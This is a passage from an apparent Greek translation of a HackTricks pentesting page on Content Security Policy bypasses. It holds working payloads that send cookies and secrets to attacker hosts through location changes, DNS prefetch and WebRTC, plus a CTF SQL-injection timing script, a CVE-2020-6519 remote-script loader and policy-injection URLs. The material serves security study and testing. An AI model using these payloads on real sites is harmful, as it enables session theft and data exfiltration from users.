Μπορείτε επίσης να εκμεταλλευτείτε αυτή τη ρύθμιση για να φορτώσετε κώδικα javascript που έχει εισαχθεί μέσα σε μια εικόνα. Αν, για παράδειγμα, η σελίδα επιτρέπει τη φόρτωση εικόνων από το Twitter. Μπορείτε να δημιουργήσετε μια ειδική εικόνα, να την ανεβάσετε στο Twitter και να εκμεταλλευτείτε το "unsafe-inline" για να εκτελέσετε έναν κώδικα JS (όπως μια κανονική XSS) που θα φορτώσει την εικόνα, θα εξάγει το JS από αυτήν και θα εκτελέσει αυτόν: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Με Service Workers

Η λειτουργία importScripts των service workers δεν περιορίζεται από το CSP:

Abusing Service Workers

Εισαγωγή Πολιτικής

Έρευνα: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Αν μια παράμετρος που στέλνετε επικολλάται μέσα στη δήλωση της πολιτικής, τότε μπορείτε να αλλάξετε την πολιτική με κάποιον τρόπο που την καθιστά άχρηστη. Μπορείτε να επιτρέψετε το script 'unsafe-inline' με οποιαδήποτε από αυτές τις παρακάμψεις:

bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Γιατί αυτή η οδηγία θα επικαλύψει τις υπάρχουσες οδηγίες script-src.
Μπορείτε να βρείτε ένα παράδειγμα εδώ: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Στο Edge είναι πολύ πιο απλό. Αν μπορείτε να προσθέσετε στο CSP απλά αυτό: ;_ Edge θα απορρίψει ολόκληρη την πολιτική.
Παράδειγμα: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; μέσω XSS (iframe) - Χρονική επίθεση

Προσέξτε την έλλειψη της οδηγίας 'unsafe-inline'
Αυτή τη φορά μπορείτε να κάνετε το θύμα να φορτώσει μια σελίδα υπό τον έλεγχό σας μέσω XSS με ένα <iframe. Αυτή τη φορά θα κάνετε το θύμα να έχει πρόσβαση στη σελίδα από όπου θέλετε να εξάγετε πληροφορίες (CSRF). Δεν μπορείτε να έχετε πρόσβαση στο περιεχόμενο της σελίδας, αλλά αν με κάποιο τρόπο μπορείτε να ελέγξετε τον χρόνο που χρειάζεται η σελίδα για να φορτώσει, μπορείτε να εξάγετε τις πληροφορίες που χρειάζεστε.

Αυτή τη φορά μια σημαία θα εξαχθεί, όποτε μια χαρακτήρας μαντεύεται σωστά μέσω SQLi η απάντηση χρειάζεται περισσότερο χρόνο λόγω της λειτουργίας ύπνου. Έτσι, θα είστε σε θέση να εξάγετε τη σημαία:

html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
function gen(x) {
x = escape(x.replace(/_/g, "\\_"))
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
}

function gen2(x) {
x = escape(x)
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
}

async function query(word, end = false) {
let h = performance.now()
f.location = end ? gen2(word) : gen(word)
await new Promise((r) => {
g.onload = r
})
let diff = performance.now() - h
return diff > 300
}

let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
let postfix = "}"

async function run() {
let prefix = "nn9ed{"
while (true) {
let i = 0
for (i; i < alphabet.length; i++) {
let c = alphabet[i]
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
console.log(prefix, c, t)
if (t) {
console.log("FOUND!")
prefix += c
break
}
}
if (i == alphabet.length) {
console.log("missing chars")
break
}
let t = await query(prefix + "}", true)
if (t) {
prefix += "}"
break
}
}
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
console.log(prefix)
}

run()
</script>

Via Bookmarklets

Αυτή η επίθεση θα περιλάμβανε κάποια κοινωνική μηχανική όπου ο επιτιθέμενος πείθει τον χρήστη να σύρει και να ρίξει έναν σύνδεσμο πάνω στο bookmarklet του προγράμματος περιήγησης. Αυτό το bookmarklet θα περιείχε κακόβουλο javascript κώδικα που όταν σύρεται και ρίχνεται ή κάνετε κλικ θα εκτελείται στο πλαίσιο του τρέχοντος διαδικτυακού παραθύρου, παρακάμπτοντας το CSP και επιτρέποντας την κλοπή ευαίσθητων πληροφοριών όπως cookies ή tokens.

Για περισσότερες πληροφορίες ελέγξτε την αρχική αναφορά εδώ.

CSP bypass by restricting CSP

Στο αυτή την αναφορά CTF, το CSP παρακάμπτεται με την εισαγωγή μέσα σε ένα επιτρεπόμενο iframe ενός πιο περιοριστικού CSP που απαγόρευε τη φόρτωση ενός συγκεκριμένου αρχείου JS που, στη συνέχεια, μέσω prototype pollution ή dom clobbering επέτρεπε να καταχραστεί ένα διαφορετικό σενάριο για να φορτώσει ένα αυθαίρετο σενάριο.

Μπορείτε να περιορίσετε ένα CSP ενός Iframe με το csp χαρακτηριστικό:

html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

Στο αυτό το CTF writeup, ήταν δυνατό μέσω HTML injection να περιοριστεί περισσότερο μια CSP έτσι ώστε ένα σενάριο που προλαμβάνει το CSTI να απενεργοποιήθηκε και επομένως η ευπάθεια έγινε εκμεταλλεύσιμη.
Η CSP μπορεί να γίνει πιο περιοριστική χρησιμοποιώντας HTML meta tags και τα inline scripts μπορούν να απενεργοποιηθούν αφαιρώντας την είσοδο που επιτρέπει το nonce τους και ενεργοποιώντας συγκεκριμένο inline script μέσω sha:

html
<meta
http-equiv="Content-Security-Policy"
content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />

JS exfiltration with Content-Security-Policy-Report-Only

Αν μπορέσετε να κάνετε τον διακομιστή να απαντήσει με την κεφαλίδα Content-Security-Policy-Report-Only με μια τιμή που ελέγχετε εσείς (ίσως λόγω ενός CRLF), θα μπορούσατε να το κατευθύνετε στον διακομιστή σας και αν τυλίξετε το JS περιεχόμενο που θέλετε να εξάγετε με <script> και επειδή είναι πολύ πιθανό ότι το unsafe-inline δεν επιτρέπεται από την CSP, αυτό θα προκαλέσει ένα σφάλμα CSP και μέρος του script (που περιέχει τις ευαίσθητες πληροφορίες) θα σταλεί στον διακομιστή από το Content-Security-Policy-Report-Only.

Για ένα παράδειγμα δείτε αυτή την αναφορά CTF.

CVE-2020-6519

javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'

Διαρροή Πληροφοριών με CSP και Iframe

  • Ένα iframe δημιουργείται που δείχνει σε μια διεύθυνση URL (ας την ονομάσουμε https://example.redirect.com) η οποία επιτρέπεται από το CSP.
  • Αυτή η διεύθυνση URL ανακατευθύνει σε μια μυστική διεύθυνση URL (π.χ., https://usersecret.example2.com) που δεν επιτρέπεται από το CSP.
  • Ακούγοντας το γεγονός securitypolicyviolation, μπορεί κανείς να συλλάβει την ιδιότητα blockedURI. Αυτή η ιδιότητα αποκαλύπτει το domain της μπλοκαρισμένης URI, διαρρέοντας το μυστικό domain στο οποίο ανακατευθύνθηκε η αρχική διεύθυνση URL.

Είναι ενδιαφέρον να σημειωθεί ότι οι περιηγητές όπως ο Chrome και ο Firefox έχουν διαφορετικές συμπεριφορές στη διαχείριση των iframes σε σχέση με το CSP, οδηγώντας σε πιθανή διαρροή ευαίσθητων πληροφοριών λόγω μη καθορισμένης συμπεριφοράς.

Μια άλλη τεχνική περιλαμβάνει την εκμετάλλευση του CSP αυτού καθαυτού για να συμπεράνουμε το μυστικό υποdomain. Αυτή η μέθοδος βασίζεται σε έναν αλγόριθμο δυαδικής αναζήτησης και στην προσαρμογή του CSP για να περιλαμβάνει συγκεκριμένα domains που είναι σκόπιμα μπλοκαρισμένα. Για παράδειγμα, αν το μυστικό υποdomain αποτελείται από άγνωστους χαρακτήρες, μπορείτε να δοκιμάσετε επαναληπτικά διαφορετικά υποdomains τροποποιώντας την οδηγία CSP για να μπλοκάρετε ή να επιτρέψετε αυτά τα υποdomains. Ακολουθεί ένα απόσπασμα που δείχνει πώς μπορεί να ρυθμιστεί το CSP για να διευκολύνει αυτή τη μέθοδο:

markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Με την παρακολούθηση των αιτημάτων που αποκλείονται ή επιτρέπονται από την CSP, μπορεί κανείς να περιορίσει τους πιθανούς χαρακτήρες στο μυστικό υποτομέα, αποκαλύπτοντας τελικά το πλήρες URL.

Και οι δύο μέθοδοι εκμεταλλεύονται τις λεπτομέρειες της υλοποίησης και της συμπεριφοράς της CSP στους περιηγητές, δείχνοντας πώς οι φαινομενικά ασφαλείς πολιτικές μπορούν ακούσια να διαρρεύσουν ευαίσθητες πληροφορίες.

Trick from here.

Unsafe Technologies to Bypass CSP

PHP Errors when too many params

Σύμφωνα με την τελευταία τεχνική που σχολιάστηκε σε αυτό το βίντεο, η αποστολή πάρα πολλών παραμέτρων (1001 GET παραμέτρων αν και μπορείτε επίσης να το κάνετε με POST παραμέτρους και περισσότερα από 20 αρχεία). Οποιαδήποτε καθορισμένη header() στον PHP web κώδικα δεν θα σταλεί λόγω του σφάλματος που θα προκαλέσει αυτό.

PHP response buffer overload

Η PHP είναι γνωστή για την αποθήκευση της απόκρισης σε 4096 bytes από προεπιλογή. Επομένως, αν η PHP εμφανίζει προειδοποίηση, παρέχοντας αρκετά δεδομένα μέσα στις προειδοποιήσεις, η απόκριση θα σταλεί πριν από την κεφαλίδα CSP, προκαλώντας την κεφαλίδα να αγνοηθεί.
Έτσι, η τεχνική συνίσταται βασικά στο να γεμίσετε το buffer απόκρισης με προειδοποιήσεις ώστε η κεφαλίδα CSP να μην σταλεί.

Idea from this writeup.

Rewrite Error Page

Από αυτή τη γραφή φαίνεται ότι ήταν δυνατό να παρακαμφθεί μια προστασία CSP φορτώνοντας μια σελίδα σφάλματος (πιθανώς χωρίς CSP) και επαναγράφοντας το περιεχόμενό της.

javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
}, 1000)

SOME + 'self' + wordpress

SOME είναι μια τεχνική που εκμεταλλεύεται ένα XSS (ή πολύ περιορισμένο XSS) σε ένα endpoint μιας σελίδας για να εκμεταλλευτεί άλλα endpoints της ίδιας προέλευσης. Αυτό γίνεται φορτώνοντας το ευάλωτο endpoint από μια σελίδα επιτιθέμενου και στη συνέχεια ανανεώνοντας τη σελίδα του επιτιθέμενου στο πραγματικό endpoint στην ίδια προέλευση που θέλετε να εκμεταλλευτείτε. Με αυτόν τον τρόπο το ευάλωτο endpoint μπορεί να χρησιμοποιήσει το opener αντικείμενο στο payload για να πρόσβαση στο DOM του πραγματικού endpoint προς εκμετάλλευση. Για περισσότερες πληροφορίες δείτε:

SOME - Same Origin Method Execution

Επιπλέον, το wordpress έχει ένα JSONP endpoint στο /wp-json/wp/v2/users/1?_jsonp=data που θα αντανακλά τα δεδομένα που αποστέλλονται στην έξοδο (με τον περιορισμό μόνο σε γράμματα, αριθμούς και τελείες).

Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό το endpoint για να δημιουργήσει μια επίθεση SOME κατά του WordPress και να ενσωματώσει το μέσα σε <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> σημειώστε ότι αυτό το script θα φορτωθεί επειδή είναι επιτρεπτό από 'self'. Επιπλέον, και επειδή το WordPress είναι εγκατεστημένο, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί την επίθεση SOME μέσω του ευάλωτου callback endpoint που παρακάμπτει το CSP για να δώσει περισσότερα προνόμια σε έναν χρήστη, να εγκαταστήσει ένα νέο plugin...
Για περισσότερες πληροφορίες σχετικά με το πώς να εκτελέσετε αυτήν την επίθεση δείτε https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

Αν υπάρχει ένα αυστηρό CSP που δεν σας επιτρέπει να αλληλεπιδράσετε με εξωτερικούς διακομιστές, υπάρχουν μερικά πράγματα που μπορείτε πάντα να κάνετε για να εξάγετε τις πληροφορίες.

Location

Μπορείτε απλά να ενημερώσετε την τοποθεσία για να στείλετε στον διακομιστή του επιτιθέμενου τις μυστικές πληροφορίες:

javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid

Meta tag

Μπορείτε να ανακατευθύνετε εισάγοντας μια ετικέτα meta (αυτό είναι απλώς μια ανακατεύθυνση, δεν θα διαρρεύσει περιεχόμενο)

html
<meta http-equiv="refresh" content="1; http://attacker.com" />

DNS Prefetch

Για να φορτώσουν τις σελίδες πιο γρήγορα, οι φυλλομετρητές θα προ-λύσουν τα ονόματα κεντρικών υπολογιστών σε διευθύνσεις IP και θα τα αποθηκεύσουν στην κρυφή μνήμη για μελλοντική χρήση.
Μπορείτε να υποδείξετε σε έναν φυλλομετρητή να προ-λύσει ένα όνομα κεντρικού υπολογιστή με: <link rel="dns-prefetch" href="something.com">

Μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να εξάγετε ευαίσθητες πληροφορίες μέσω DNS αιτημάτων:

javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
body.innerHTML =
body.innerHTML +
'<link rel="dns-prefetch" href="//' +
sessionid +
'attacker.ch">'

Ένας άλλος τρόπος:

javascript
const linkEl = document.createElement("link")
linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)

Για να αποφευχθεί αυτό, ο διακομιστής μπορεί να στείλει την κεφαλίδα HTTP:

X-DNS-Prefetch-Control: off

tip

Προφανώς, αυτή η τεχνική δεν λειτουργεί σε headless browsers (bots)

WebRTC

Σε πολλές σελίδες μπορείτε να διαβάσετε ότι το WebRTC δεν ελέγχει την πολιτική connect-src του CSP.

Στην πραγματικότητα μπορείτε να leak πληροφορίες χρησιμοποιώντας ένα DNS request. Δείτε αυτόν τον κώδικα:

javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
p.createDataChannel("")
p.setLocalDescription(await p.createOffer())
})()

Μια άλλη επιλογή:

javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CredentialsContainer

Η αναδυόμενη ειδοποίηση διαπιστευτηρίων στέλνει ένα αίτημα DNS στο iconURL χωρίς να περιορίζεται από τη σελίδα. Λειτουργεί μόνο σε ασφαλές περιβάλλον (HTTPS) ή σε localhost.

javascript
navigator.credentials.store(
new FederatedCredential({
id:"satoki",
name:"satoki",
provider:"https:"+your_data+"example.com",
iconURL:"https:"+your_data+"example.com"
})
)

Έλεγχος Πολιτικών CSP Online

Αυτόματη Δημιουργία CSP

https://csper.io/docs/generating-content-security-policy

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks